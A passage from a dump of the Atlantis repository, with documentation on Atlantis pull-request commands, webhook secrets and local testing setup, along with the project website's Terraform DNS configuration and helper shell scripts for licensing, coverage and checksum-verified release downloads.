e.g.\n\n```shell\natlantis import -d dir 'aws_instance.example[\"foo\"]' i-1234567890abcdef0 -- -var foo='bar'\n```\n\nIf a flag is needed to be always appended, see [Custom Workflow Use Cases](custom-workflows.md#adding-extra-arguments-to-terraform-commands).\n\n---\n\n## atlantis state rm\n\n```bash\natlantis state [options] rm ADDRESS... -- [terraform state rm flags]\n```\n\n### Explanation\n\nRuns `terraform state rm` that matches the directory/project/workspace.\nThis command discards the terraform plan result. After running `state rm` and before an apply, another `atlantis plan` must be run again.\n\nTo allow the `state` command requires [--allow-commands](server-configuration.md#allow-commands) configuration.\n\n### Examples\n\n```bash\n# Runs state rm\natlantis state rm ADDRESS1 ADDRESS2\n\n# Runs state rm in the root directory of the repo with workspace `default`\natlantis state -d . rm ADDRESS\n\n# Runs state rm in the `project1` directory of the repo with workspace `default`\natlantis state -p project1 rm ADDRESS\n\n# Runs state rm in the root directory of the repo with workspace `staging`\natlantis state -w staging rm ADDRESS\n```\n\n::: tip\n\n* When running `state rm` on `for_each` resources, a single quoted address is required.\n  * ex. `atlantis state rm 'aws_instance.example[\"foo\"]'`\n:::\n\n### Options\n\n* `-d directory` Run state rm a resource for this directory, relative to root of repo. Use `.` for root.\n* `-p project` Run state rm a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](repo-level-atlantis-yaml.md) repo configuration file. This cannot be used at the same time as `-d` or `-w`.\n* `-w workspace` Run state rm a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces). Ignore this if Terraform workspaces are unused.\n\n### Additional Terraform flags\n\nIf `terraform state rm` requires additional arguments, like `-lock=false'`\nappend them to the end of the comment after `--`, e.g.\n\n```shell\natlantis state -d dir rm 'aws_instance.example[\"foo\"]' -- -lock=false\n```\n\nIf a flag is needed to be always appended, see [Custom Workflow Use Cases](custom-workflows.md#adding-extra-arguments-to-terraform-commands).\n\n---\n\n## atlantis unlock\n\n```bash\natlantis unlock\n```\n\n### Explanation\n\nRemoves all atlantis locks and discards all plans for this PR.\nTo unlock a specific plan you can use the Atlantis UI.\n\n---\n\n## atlantis approve_policies\n\n```bash\natlantis approve_policies\n```\n\n### Explanation\n\nApproves all current policy checking failures for the PR.\n\nSee also [policy checking](policy-checking.md).\n\n### Options\n\n* `--verbose` Append Atlantis log to comment.\n"
  },
  {
    "path": "runatlantis.io/docs/webhook-secrets.md",
    "content": "# Webhook Secrets\n\nAtlantis uses Webhook secrets to validate that the webhooks it receives from your\nGit host are legitimate.\n\nOne way to confirm this would be to allowlist requests\nto only come from the IPs of your Git host but an easier way is to use a Webhook\nSecret.\n\n::: tip NOTE\nWebhook secrets are actually optional. However they're highly recommended for\nsecurity.\n:::\n\n::: tip NOTE\nAzure DevOps uses Basic authentication for webhooks rather than webhook secrets.\n:::\n\n::: tip NOTE\nAn app-wide token is generated during [GitHub App setup](access-credentials.md#github-app). You can recover it by navigating to the [GitHub app settings page](https://github.com/settings/apps) and selecting \"Edit\" next to your Atlantis app's name. Token appears after clicking \"Edit\" under the Webhook header.\n:::\n\n## Generating A Webhook Secret\n\nYou can use any random string generator to create your Webhook secret. It should be > 24 characters.\n\nFor example:\n\n* Generate via Ruby with `ruby -rsecurerandom -e 'puts SecureRandom.hex(32)'`\n* Generate online with [browserling: Generate Random Strings and Numbers](https://www.browserling.com/tools/random-string)\n\n::: tip NOTE\nYou must use **the same** webhook secret for each repo.\n:::\n\n## Next Steps\n\n* Record your secret\n* You'll be using it later to [configure your webhooks](configuring-webhooks.md), however if you're\nfollowing the [Installation Guide](installation-guide.md) then your next step is to\n[Deploy Atlantis](deployment.md)\n"
  },
  {
    "path": "runatlantis.io/docs.md",
    "content": "---\naside: false\n---\n# Atlantis Documentation\n\nThese docs are for users that are ready to get Atlantis installed and start using it.\n\n:::tip Looking to get started?\nIf you're new here, check out the [Guide](./guide.md)\nwhere you can try our [Test Drive](./guide/test-drive.md) or [Run Atlantis Locally](./guide/testing-locally.md).\n:::\n\n## Next Steps\n\n* [Installing Atlantis](./docs/installation-guide.md)&nbsp;&nbsp;–&nbsp;&nbsp;Get Atlantis up and running\n* [Configuring Atlantis](./docs/configuring-atlantis.md)&nbsp;&nbsp;–&nbsp;&nbsp;Configure how Atlantis works for your specific use-cases\n* [Using Atlantis](./docs/using-atlantis.md)&nbsp;&nbsp;–&nbsp;&nbsp;How do you use Atlantis?\n* [How Atlantis Works](./docs/how-atlantis-works.md)&nbsp;&nbsp;–&nbsp;&nbsp;Internals of what Atlantis is doing\n"
  },
  {
    "path": "runatlantis.io/e2e/site-check.spec.js",
    "content": "import { test } from '@playwright/test';\n\ntest('page should load without errors', async ({ page }) => {\n  // Listen for any errors that occur within the page\n  page.on('pageerror', error => {\n    console.error('Page error:', error.message);\n    throw new Error(`Page error: ${error.message}`);\n  });\n\n  // Navigate to the URL\n  await page.goto('http://localhost:8080/');\n});\n"
  },
  {
    "path": "runatlantis.io/guide/test-drive.md",
    "content": "# Test Drive\n\nTo test drive Atlantis on an example repo, download the latest release from\n[GitHub](https://github.com/runatlantis/atlantis/releases)\n\nOnce you've extracted the archive, run:\n\n```bash\n./atlantis testdrive\n```\n\nThis mode sets up Atlantis on a test repo so you can try it out. It will\n\n- Fork an example Terraform project into your GitHub account\n- Install Terraform (if not already in your PATH)\n- Install [ngrok](https://ngrok.com/) so we can expose Atlantis to GitHub\n- Start Atlantis so you can execute commands on the pull request\n\n## Next Steps\n\n- If you're ready to test out running Atlantis on **your repos** then read [Testing Locally](testing-locally.md).\n- If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](../docs/installation-guide.md).\n"
  },
  {
    "path": "runatlantis.io/guide/testing-locally.md",
    "content": "# Testing Locally\n\nThese instructions are for running Atlantis **locally on your own computer** so you can test it out against\nyour own repositories before deciding whether to install it more permanently.\n\n::: tip\nIf you want to set up a production-ready Atlantis installation, read [Deployment](../docs/deployment.md).\n:::\n\nSteps:\n\n## Install Terraform\n\n`terraform` needs to be in the `$PATH` for Atlantis.\nDownload from [Terraform](https://developer.hashicorp.com/terraform/downloads)\n\n```shell\nunzip path/to/terraform_*.zip -d /usr/local/bin\n```\n\n## Download Atlantis\n\nGet the latest release from [GitHub](https://github.com/runatlantis/atlantis/releases)\nand unpackage it.\n\n## Download Ngrok\n\nAtlantis needs to be accessible somewhere that github.com/gitlab.com/bitbucket.org or your GitHub/GitLab Enterprise installation can reach.\nOne way to accomplish this is with ngrok, a tool that forwards your local port to a random\npublic hostname.\n\n[Download](https://ngrok.com/download) ngrok and `unzip` it.\n\nStart `ngrok` on port `4141` and take note of the hostname it gives you:\n\n```bash\n./ngrok http 4141\n```\n\nIn a new tab (where you'll soon start Atlantis) create an environment variable with\nngrok's hostname:\n\n```bash\nURL=\"https://{YOUR_HOSTNAME}.ngrok.io\"\n```\n\n## Create a Webhook Secret\n\nGitHub and GitLab use webhook secrets so clients can verify that the webhooks came\nfrom them.\n\nCreate a random string of any length (you can use [random.org](https://www.random.org/strings/))\nand set an environment variable:\n\n```shell\nSECRET=\"{YOUR_RANDOM_STRING}\"\n```\n\n## Add Webhook\n\nTake the URL that ngrok output and create a webhook in your GitHub, GitLab or Bitbucket repo:\n\n### GitHub or GitHub Enterprise Webhook\n\n<details>\n    <summary>Expand</summary>\n    <ul>\n        <li>Go to your repo's settings</li>\n        <li>Select <strong>Webhooks</strong> or <strong>Hooks</strong> in the sidebar</li>\n        <li>Click <strong>Add webhook</strong></li>\n        <li>set <strong>Payload URL</strong> to your ngrok url with <code>/events</code> at the end. Ex. <code>https://c5004d84.ngrok.io/events</code></li>\n        <li>double-check you added <code>/events</code> to the end of your URL.</li>\n        <li>set <strong>Content type</strong> to <code>application/json</code></li>\n        <li>set <strong>Secret</strong> to your random string</li>\n        <li>select <strong>Let me select individual events</strong></li>\n        <li>check the boxes\n            <ul>\n                <li><strong>Pull request reviews</strong></li>\n                <li><strong>Pushes</strong></li>\n                <li><strong>Issue comments</strong></li>\n                <li><strong>Pull requests</strong></li>\n            </ul>\n        </li>\n        <li>leave <strong>Active</strong> checked</li>\n        <li>click <strong>Add webhook</strong></li>\n    </ul>\n</details>\n\n### GitLab or GitLab Enterprise Webhook\n\n<details>\n    <summary>Expand</summary>\n    <ul>\n        <li>Go to your repo's home page</li>\n        <li>Click <strong>Settings &gt; Webhooks</strong> in the sidebar</li>\n        <li>set <strong>URL</strong> to your ngrok url with <code>/events</code> at the end. Ex. <code>https://c5004d84.ngrok.io/events</code></li>\n        <li>double-check you added <code>/events</code> to the end of your URL.</li>\n        <li>set <strong>Secret Token</strong> to your random string</li>\n        <li>check the boxes\n            <ul>\n                <li><strong>Push events</strong></li>\n                <li><strong>Comments</strong></li>\n                <li><strong>Merge Request events</strong></li>\n            </ul>\n        </li>\n        <li>leave <strong>Enable SSL verification</strong> checked</li>\n        <li>click <strong>Add webhook</strong></li>\n    </ul>\n</details>\n\n### Bitbucket Cloud (bitbucket.org) Webhook\n\n<details>\n    <summary>Expand</summary>\n    <ul>\n        <li>Go to your repo's home page</li>\n        <li>Click <strong>Settings</strong> in the sidebar</li>\n        <li>Click <strong>Webhooks</strong> under the <strong>WORKFLOW</strong> section</li>\n        <li>Click <strong>Add webhook</strong></li>\n        <li>Enter \"Atlantis\" for <strong>Title</strong></li>\n        <li>Set <strong>URL</strong> to your ngrok url with <code>/events</code> at the end. Ex. <code>https://c5004d84.ngrok.io/events</code></li>\n        <li>Double-check you added <code>/events</code> to the end of your URL.</li>\n        <li>Keep <strong>Status</strong> as Active</li>\n        <li>Don't check <strong>Skip certificate validation</strong> because NGROK has a valid cert.</li>\n        <li>Select <strong>Choose from a full list of triggers</strong></li>\n        <li>Under <strong>Repository</strong><strong>un</strong>check everything</li>\n        <li>Under <strong>Issues</strong> leave everything <strong>un</strong>checked</li>\n        <li>Under <strong>Pull Request</strong>, select: Created, Updated, Merged, Declined and Comment created</li>\n        <li>Click <strong>Save</strong><img src=\"./images/bitbucket-webhook.png\" alt=\"Bitbucket Webhook\" style=\"max-height: 500px;\"></li>\n    </ul>\n</details>\n\n### Bitbucket Server (aka Stash) Webhook\n\n<details>\n    <summary>Expand</summary>\n    <ul>\n        <li>Go to your repo's home page</li>\n        <li>Click <strong>Settings</strong> in the sidebar</li>\n        <li>Click <strong>Webhooks</strong> under the <strong>WORKFLOW</strong> section</li>\n        <li>Click <strong>Create webhook</strong></li>\n        <li>Enter \"Atlantis\" for <strong>Name</strong></li>\n        <li>Set <strong>URL</strong> to your ngrok url with <code>/events</code> at the end. Ex. <code>https://c5004d84.ngrok.io/events</code></li>\n        <li>Double-check you added <code>/events</code> to the end of your URL.</li>\n        <li>Set <strong>Secret</strong> to your random string</li>\n        <li>Under <strong>Pull Request</strong>, select: Opened, Source branch updated, Merged, Declined, Deleted and Comment added</li>\n        <li>Click <strong>Save</strong><img src=\"./images/bitbucket-server-webhook.png\" alt=\"Bitbucket Webhook\" style=\"max-height: 600px;\"></li>\n    </ul>\n</details>\n\n### Gitea Webhook\n\n<details>\n    <summary>Expand</summary>\n    <ul>\n        <li>Click <strong>Settings &gt; Webhooks</strong> in the top- and then sidebar</li>\n        <li>Click <strong>Add webhook &gt; Gitea</strong> (Gitea webhooks are service specific, but this works)</li>\n        <li>set <strong>Target URL</strong> to <code>http://$URL/events</code> (or <code>https://$URL/events</code> if you're using SSL) where <code>$URL</code> is where Atlantis is hosted. <strong>Be sure to add <code>/events</code></strong></li>\n        <li>double-check you added <code>/events</code> to the end of your URL.</li>\n        <li>set <strong>Secret</strong> to the Webhook Secret you generated previously\n        <ul>\n            <li><strong>NOTE</strong> If you're adding a webhook to multiple repositories, each repository will need to use the <strong>same</strong> secret.</li>\n        </ul>\n        </li>\n        <li>Select <strong>Custom Events...</strong></li>\n        <li>Check the boxes\n            <ul>\n                <li><strong>Repository events &gt; Push</strong></li>\n                <li><strong>Issue events &gt; Issue Comment</strong></li>\n                <li><strong>Pull Request events &gt; Pull Request</strong></li>\n                <li><strong>Pull Request events &gt; Pull Request Comment</strong></li>\n                <li><strong>Pull Request events &gt; Pull Request Reviewed</strong></li>\n                <li><strong>Pull Request events &gt; Pull Request Synchronized</strong></li>\n            </ul>\n        </li>\n        <li>Leave <strong>Active</strong> checked</li>\n        <li>Click <strong>Add Webhook</strong></li>\n        <li>See <a href=\"#next-steps\">Next Steps</a></li>\n    </ul>\n</details>\n\n## Create an access token for Atlantis\n\nWe recommend using a dedicated CI user or creating a new user named **@atlantis** that performs all API actions, however for testing,\nyou can use your own user. Here we'll create the access token that Atlantis uses to comment on the pull request and\nset commit statuses.\n\n### GitHub or GitHub Enterprise Access Token\n\n- Create a [Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token)\n- create a token with **repo** scope\n- set the token as an environment variable\n\n```shell\nTOKEN=\"{YOUR_TOKEN}\"\n```\n\n### GitLab or GitLab Enterprise Access Token\n\n- follow [GitLab: Create a personal access token](https://docs.gitlab.com/user/profile/personal_access_tokens/#create-a-personal-access-token)\n- create a token with **api** scope\n- set the token as an environment variable\n\n```shell\nTOKEN=\"{YOUR_TOKEN}\"\n```\n\n### Bitbucket Cloud (bitbucket.org) Access Token\n\n- follow [BitBucket Cloud: Create an app password](https://support.atlassian.com/bitbucket-cloud/docs/create-an-app-password/)\n- Label the password \"atlantis\"\n- Select **Pull requests**: **Read** and **Write** so that Atlantis can read your pull requests and write comments to them\n- set the token as an environment variable\n\n```shell\nTOKEN=\"{YOUR_TOKEN}\"\n```\n\n### Bitbucket Server (aka Stash) Access Token\n\n- Click on your avatar in the top right and select **Manage account**\n- Click **HTTP access tokens** in the sidebar\n- Click **Create token**\n- Name the token **atlantis**\n- Give the token **Read** Project permissions and **Write** Pull request permissions\n- Choose an Expiry option **Do not expire** or **Expire automatically**\n- Click **Create** and set the token as an environment variable\n\n```shell\nTOKEN=\"{YOUR_TOKEN}\"\n```\n\n### Gitea Access Token\n\n- Go to \"Profile and Settings\" > \"Settings\" in Gitea (top-right)\n- Go to \"Applications\" under \"User Settings\" in Gitea\n- Create a token under the \"Manage Access Tokens\" with the following permissions:\n  - issue: Read and Write\n  - repository: Read and Write\n- Record the access token\n\n## Start Atlantis\n\nYou're almost ready to start Atlantis, just set two more variables:\n\n```bash\nUSERNAME=\"{the username of your GitHub, GitLab or Bitbucket user}\"\nREPO_ALLOWLIST=\"$YOUR_GIT_HOST/$YOUR_USERNAME/$YOUR_REPO\"\n# ex. REPO_ALLOWLIST=\"github.com/runatlantis/atlantis\"\n# If you're using Bitbucket Server, $YOUR_GIT_HOST will be the domain name of your\n# server without scheme or port and $YOUR_USERNAME will be the name of the **project** the repo\n# is under, **not the key** of the project.\n```\n\nNow you can start Atlantis. The exact command differs depending on your Git host:\n\n### GitHub Command\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gh-user=\"$USERNAME\" \\\n--gh-token=\"$TOKEN\" \\\n--gh-webhook-secret=\"$SECRET\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n### GitHub Enterprise Command\n\n```bash\nHOSTNAME=YOUR_GITHUB_ENTERPRISE_HOSTNAME # ex. github.runatlantis.io\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gh-user=\"$USERNAME\" \\\n--gh-token=\"$TOKEN\" \\\n--gh-webhook-secret=\"$SECRET\" \\\n--gh-hostname=\"$HOSTNAME\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n### GitLab Command\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gitlab-user=\"$USERNAME\" \\\n--gitlab-token=\"$TOKEN\" \\\n--gitlab-webhook-secret=\"$SECRET\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n### GitLab Enterprise Command\n\n```bash\nHOSTNAME=YOUR_GITLAB_ENTERPRISE_HOSTNAME # ex. gitlab.runatlantis.io\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gitlab-user=\"$USERNAME\" \\\n--gitlab-token=\"$TOKEN\" \\\n--gitlab-webhook-secret=\"$SECRET\" \\\n--gitlab-hostname=\"$HOSTNAME\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n### Bitbucket Cloud (bitbucket.org) Command\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--bitbucket-user=\"$USERNAME\" \\\n--bitbucket-token=\"$TOKEN\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n### Bitbucket Server (aka Stash) Command\n\n```bash\nBASE_URL=YOUR_BITBUCKET_SERVER_URL # ex. http://bitbucket.mycorp:7990\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--bitbucket-user=\"$USERNAME\" \\\n--bitbucket-token=\"$TOKEN\" \\\n--bitbucket-webhook-secret=\"$SECRET\" \\\n--bitbucket-base-url=\"$BASE_URL\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n### Azure DevOps\n\nA certificate and private key are required if using Basic authentication for webhooks.\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--azuredevops-user=\"$USERNAME\" \\\n--azuredevops-token=\"$TOKEN\" \\\n--azuredevops-webhook-user=\"$ATLANTIS_AZUREDEVOPS_WEBHOOK_USER\" \\\n--azuredevops-webhook-password=\"$ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n--ssl-cert-file=file.crt\n--ssl-key-file=file.key\n```\n\n### Gitea\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gitea-user=\"$ATLANTIS_GITEA_USER\" \\\n--gitea-token=\"$ATLANTIS_GITEA_TOKEN\" \\\n--gitea-webhook-secret=\"$ATLANTIS_GITEA_WEBHOOK_SECRET\" \\\n--gitea-base-url=\"$ATLANTIS_GITEA_BASE_URL\" \\\n--gitea-page-size=\"$ATLANTIS_GITEA_PAGE_SIZE\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n--ssl-cert-file=file.crt\n--ssl-key-file=file.key\n```\n\n## Create a pull request\n\nCreate a pull request so you can test Atlantis.\n::: tip\nYou could add a null resource as a test:\n\n```hcl\nresource \"null_resource\" \"example\" {}\n```\n\nOr just modify the whitespace in a file.\n:::\n\n### Autoplan\n\nYou should see Atlantis logging about receiving the webhook and you should see the output of `terraform plan` on your repo.\n\nAtlantis tries to figure out the directory to plan in based on the files modified.\nIf you need to customize the directories that Atlantis runs in or the commands it runs if you're using workspaces\nor `.tfvars` files, see [atlantis.yaml Reference](../docs/repo-level-atlantis-yaml.md#reference).\n\n### Manual Plan\n\nTo manually `plan` in a specific directory or workspace, comment on the pull request using the `-d` or `-w` flags:\n\n```shell\natlantis plan -d mydir\natlantis plan -w staging\n```\n\nTo add additional arguments to the underlying `terraform plan` you can use:\n\n```shell\natlantis plan -- -target=resource -var 'foo=bar'\n```\n\n### Apply\n\nIf you'd like to `apply`, type a comment: `atlantis apply`. You can use the `-d` or `-w` flags to point\nAtlantis at a specific plan. Otherwise it tries to apply the plan for the root directory.\n\n## Real-time logs\n\nThe [real-time terraform output](../docs/streaming-logs.md) for your command can be found by clicking into the status check for a given project in a PR which\nlinks to the log-streaming UI. This is a terminal UI where you can view your commands executing in real-time.\n\n## Next Steps\n\n- If things are working as expected you can `Ctrl-C` the `atlantis server` command and the `ngrok` command.\n- Hopefully Atlantis is working with your repo and you're ready to move on to a [production-ready deployment](../docs/deployment.md).\n- If it's not working as expected, you may need to customize how Atlantis runs with an `atlantis.yaml` file.\nSee [atlantis.yaml use cases](../docs/repo-level-atlantis-yaml.md#use-cases).\n- Check out our [full documentation](../docs.md) for more details.\n"
  },
  {
    "path": "runatlantis.io/guide.md",
    "content": "# Introduction\n\n## Getting Started\n\n* If you'd like to just test out running Atlantis on an **example repo** check out the [Test Drive](./guide/test-drive.md).\n* If you'd like to test out running Atlantis on **your repos** then read [Testing Locally](./guide/testing-locally.md).\n* If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](./docs/installation-guide.md).\n\n::: tip Looking for the full docs?\nGo here: [www.runatlantis.io/docs](./docs.md)\n:::\n\n## Overview – What Is Atlantis?\n\nAtlantis is an application for automating Terraform via pull requests. It is deployed\nas a standalone application into your infrastructure. No third-party has access to\nyour credentials.\n\nAtlantis listens for GitHub, GitLab or Bitbucket webhooks about Terraform pull requests. It\nthen runs `terraform plan` and comments with the output back on the pull request.\n\nWhen you want to apply, comment `atlantis apply` on the pull request and Atlantis\nwill run `terraform apply` and comment back with the output.\n\n## Watch\n\nCheck out the video below to see it in action:\n\n[![Atlantis Walkthrough](./guide/images/atlantis-walkthrough-icon.png)](https://www.youtube.com/watch?v=TmIPWda0IKg)\n\n## Why would you run Atlantis?\n\n### Increased visibility\n\nWhen everyone is executing Terraform on their own computers, it's hard to know the\ncurrent state of your infrastructure:\n\n* Is what's in `main` branch deployed?\n* Did someone forget to create a pull request for that latest change?\n* What was the output from that last `terraform apply`?\n\nWith Atlantis, everything is visible on the pull request. You can view the history\nof everything that was done to your infrastructure.\n\n### Enable collaboration with everyone\n\nYou probably don't want to distribute Terraform credentials to everyone in your\nengineering organization, but now anyone can open up a Terraform pull request.\n\nYou can require approval before the pull request is applied so nothing happens\naccidentally.\n\n### Review Terraform pull requests better\n\nYou can't fully review a Terraform change without seeing the output of `terraform plan`.\nNow that output is added to the pull request automatically.\n\n### Standardize your workflows\n\nAtlantis locks a directory/workspace until the pull request is merged or the lock\nis manually deleted. This ensures that changes are applied in the order expected.\n\nThe exact commands that Atlantis runs are configurable. You can run custom scripts\nto construct your ideal workflow.\n\n## Next Steps\n\n* If you'd like to just test out running Atlantis on an **example repo** check out the [Test Drive](./guide/test-drive.md).\n* If you'd like to test out running Atlantis on **your repos** then read [Testing Locally](./guide/testing-locally.md).\n* If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](./docs/installation-guide.md).\n"
  },
  {
    "path": "runatlantis.io/index.md",
    "content": "---\n# https://vitepress.dev/reference/default-theme-home-page\nlayout: home\n\npageClass: home-custom\n\nhero:\n  name: Atlantis\n  text: Terraform Pull Request Automation\n  tagline: Running Terraform Workflows with Ease\n  image: /hero.png\n  actions:\n    - theme: brand\n      text: Get Started\n      link: /guide\n    - theme: alt\n      text: What is Atlantis?\n      link: /blog/2017/introducing-atlantis\n    - theme: alt\n      text: Join us on Slack\n      link: https://slack.cncf.io/\n\nfeatures:\n  - title: Fewer Mistakes\n    details: \"Catch errors in Terraform plan output before applying changes. Ensure changes are applied before merging.\"\n    icon: ✅\n  - title: Empower Developers\n    details: \"Developers can safely submit Terraform pull requests without credentials. Require approvals for applies.\"\n    icon: 💻\n  - title: Instant Audit Logs\n    details: \"Detailed logs for infrastructure changes, approvals, and user actions. Configure approvals for production changes.\"\n    icon: 📋\n  - title: Proven at Scale\n    details: \"Used by top companies to manage over 600 repos with 300 developers. In production since 2017.\"\n    icon: 🌍\n  - title: Self-Hosted\n    details: \"Your credentials remain secure. Deployable on VMs, Kubernetes, Fargate, etc. Supports GitHub, GitLab, Bitbucket, Azure DevOps.\"\n    icon: ⚙️\n  - title: Open Source\n    details: \"Atlantis is an open source project with strong community support, powered by volunteer contributions.\"\n    icon: 🌐\n\n---\n"
  },
  {
    "path": "runatlantis.io/terraform/main.tf",
    "content": "// This project sets up DNS entries for runatlantis.io. The site is hosted\n// on Netlify.\n\nprovider \"aws\" {\n  region = \"us-east-1\"\n}\n\nterraform {\n  backend \"s3\" {\n    bucket = \"lkysow-terraform-states\"\n    key    = \"runatlantis/atlantis/website\"\n    region = \"us-east-1\"\n  }\n}\n\nvariable \"www_domain_name\" {\n  default = \"www.runatlantis.io\"\n}\n\nvariable \"root_domain_name\" {\n  default = \"runatlantis.io\"\n}\n\nresource \"aws_route53_zone\" \"zone\" {\n  name = var.root_domain_name\n}\n\nresource \"aws_route53_record\" \"www\" {\n  zone_id = aws_route53_zone.zone.zone_id\n  name    = var.www_domain_name\n  type    = \"CNAME\"\n  ttl     = \"300\"\n  records = [\"runatlantis.netlify.com\"]\n}\n\nresource \"aws_route53_record\" \"root\" {\n  zone_id = aws_route53_zone.zone.zone_id\n\n  // Note the name is blank here.\n  name = \"\"\n  type = \"A\"\n  ttl  = \"300\"\n\n  // This IP is for Netlify.\n  records = [\"104.198.14.52\"]\n}\n\n// MailGun Records\nresource \"aws_route53_record\" \"mailgun_txt_0\" {\n  zone_id = aws_route53_zone.zone.zone_id\n  name    = \"\"\n  type    = \"TXT\"\n  ttl     = \"300\"\n  records = [\"v=spf1 include:mailgun.org include:servers.mcsv.net ~all\"]\n}\n\nresource \"aws_route53_record\" \"mailgun_txt_1\" {\n  zone_id = aws_route53_zone.zone.zone_id\n  name    = \"krs._domainkey\"\n  type    = \"TXT\"\n  ttl     = \"300\"\n  records = [\"k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDW6rVlC11aSUQuUia02QRPkW2C1wLU/23Mx1PZHATpYSgLMo91MhVip1V1uVsC/rhqsvLiR6l0Cv/x7dG0lNQf3UPfn8Ld1qnjY66+HGt6crnuBJ6kpWYNRSVOlUU8tJrp6I0yNqvxDV689lI+HflyxCA1JP2SR5A9bL1oYJH64QIDAQAB\"]\n}\n\nresource \"aws_route53_record\" \"mailgun_mx\" {\n  zone_id = aws_route53_zone.zone.zone_id\n  name    = \"\"\n  type    = \"MX\"\n  ttl     = \"300\"\n  records = [\"10 mxa.mailgun.org\", \"10 mxb.mailgun.org\"]\n}\n\nresource \"aws_route53_record\" \"mailgun_cname\" {\n  zone_id = aws_route53_zone.zone.zone_id\n  name    = \"email\"\n  type    = \"CNAME\"\n  ttl     = \"300\"\n  records = [\"mailgun.org\"]\n}\n\nresource \"aws_route53_record\" \"mailchimp_cname\" {\n  zone_id = aws_route53_zone.zone.zone_id\n  name    = \"k1._domainkey\"\n  type    = \"CNAME\"\n  ttl     = \"300\"\n  records = [\"dkim.mcsv.net\"]\n}\n\n"
  },
  {
    "path": "runatlantis.io/terraform/versions.tf",
    "content": "\nterraform {\n  required_version = \">= 0.12\"\n}\n"
  },
  {
    "path": "scripts/addlicense.sh",
    "content": "#!/usr/bin/env bash\n# Copyright 2025 The Atlantis Authors\n# SPDX-License-Identifier: Apache-2.0\n\n\nset -euo pipefail\n\nif [[ \"${1:-}\" == \"--check\" ]]; then\n  echo \"checking SPDX headers...\"\n  MODE=\"-check\"\nelse\n  echo \"adding/updating SPDX headers...\"\n  MODE=\"\"\nfi\n\naddlicense $MODE \\\n  -s=only \\\n  -c \"The Atlantis Authors\" \\\n  $(find . -name '*.go' | grep -v _mock)\n"
  },
  {
    "path": "scripts/coverage.sh",
    "content": "#!/bin/sh\n# Taken and modified from https://github.com/mlafeldt/chef-runner/blob/v0.7.0/script/coverage\n# Generate test coverage statistics for Go packages.\n#\n# Works around the fact that `go test -coverprofile` currently does not work\n# with multiple packages, see https://code.google.com/p/go/issues/detail?id=6909\n#\n# Usage: coverage.sh packages...\n# Example: coverage.sh github.com/runatlantis/atlantis github.com/runatlantis/atlantis/testdrive\n#\n\nset -e\n\nworkdir=.cover\nprofile=\"$workdir/cover.out\"\nmode=count\n\ngenerate_cover_data() {\n    rm -rf \"$workdir\"\n    mkdir \"$workdir\"\n\n    pkgs=$@\n    for pkg in $pkgs; do\n        f=\"$workdir/$(echo $pkg | tr / -).cover\"\n        go test -covermode=\"$mode\" -coverprofile=\"$f\" \"$pkg\"\n    done\n\n    echo \"mode: $mode\" >\"$profile\"\n    grep -h -v \"^mode:\" \"$workdir\"/*.cover >>\"$profile\"\n}\n\ngenerate_cover_data $@\n"
  },
  {
    "path": "scripts/download-release.sh",
    "content": "#!/bin/sh\nCOMMAND_NAME=${1:-terraform}\nTARGETPLATFORM=${2:-\"linux/amd64\"}\nDEFAULT_VERSION=${3:-\"1.8.0\"}\nAVAILABLE_VERSIONS=${4:-\"1.8.0\"}\ncase \"${TARGETPLATFORM}\" in\n  \"linux/amd64\") ARCH=amd64 ;;\n  \"linux/arm64\") ARCH=arm64 ;;\n  \"linux/arm/v7\") ARCH=arm ;;\n  *) echo \"ERROR: 'TARGETPLATFORM' value unexpected: ${TARGETPLATFORM}\"; exit 1 ;;\nesac\nfor VERSION in ${AVAILABLE_VERSIONS}; do\n  case \"${COMMAND_NAME}\" in\n    \"terraform\")\n      DOWNLOAD_URL_FORMAT=$(printf 'https://releases.hashicorp.com/terraform/%s/%s_%s' \"$VERSION\" \"$COMMAND_NAME\" \"$VERSION\")\n      COMMAND_DIR=/usr/local/bin/terraform\n      ;;\n    \"tofu\")\n      DOWNLOAD_URL_FORMAT=$(printf 'https://github.com/opentofu/opentofu/releases/download/v%s/%s_%s' \"$VERSION\" \"$COMMAND_NAME\" \"$VERSION\")\n      COMMAND_DIR=/usr/local/bin/tofu\n      ;;\n    *) echo \"ERROR: 'COMMAND_NAME' value unexpected: ${COMMAND_NAME}\"; exit 1 ;;\n  esac\n  curl -LOs \"${DOWNLOAD_URL_FORMAT}_linux_${ARCH}.zip\"\n  curl -LOs \"${DOWNLOAD_URL_FORMAT}_SHA256SUMS\"\n  sed -n \"/${COMMAND_NAME}_${VERSION}_linux_${ARCH}.zip/p\" \"${COMMAND_NAME}_${VERSION}_SHA256SUMS\" | sha256sum -c\n  mkdir -p \"${COMMAND_DIR}/${VERSION}\"\n  unzip \"${COMMAND_NAME}_${VERSION}_linux_${ARCH}.zip\" -d \"${COMMAND_DIR}/${VERSION}\"\n  ln -s \"${COMMAND_DIR}/${VERSION}/${COMMAND_NAME}\" \"${COMMAND_DIR}/${COMMAND_NAME}${VERSION}\"\n  rm 